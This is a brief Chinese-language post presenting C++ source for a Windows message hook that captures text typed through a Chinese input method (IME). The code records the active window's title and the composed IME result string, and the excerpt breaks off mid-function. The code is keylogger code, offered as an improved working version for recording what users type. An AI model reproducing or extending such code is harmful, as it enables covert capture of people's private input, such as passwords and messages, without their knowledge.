使用钩子记录键盘敲击的字符并不困难,但是如果要直接记录中文输入的内容就不那么容易了。本文应用了IME以及相应的IME消息WM_IME_COMPOSITION实现这一目的,但是对于VK的过滤并不是很成功,现在贴出我的修改版本。当然原来的已经相当不错了,精益求精而已
LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
PMSG pmsg = (PMSG)lParam;
if(nCode==HC_ACTION)
{
switch(pmsg->message)
{
case WM_IME_COMPOSITION:
{
//窗口判定
hCurWin=::GetActiveWindow();
::GetWindowText(hCurWin,CurWin,100);
if(strcmp(CurWin,PriWin)!=0)
{
::GetWindowText(hCurWin,PriWin,100);
strcat(Content,"/n<");
strcat(CurWin,">/n");
strcat(Content,CurWin);
}
HIMC hIMC;
DWORD dwSize;
char lpstr[20];
if(pmsg->lParam & GCS_RESULTSTR)
{
hIMC = ImmGetContext(hCurWin);
dwSize = ImmGetCompos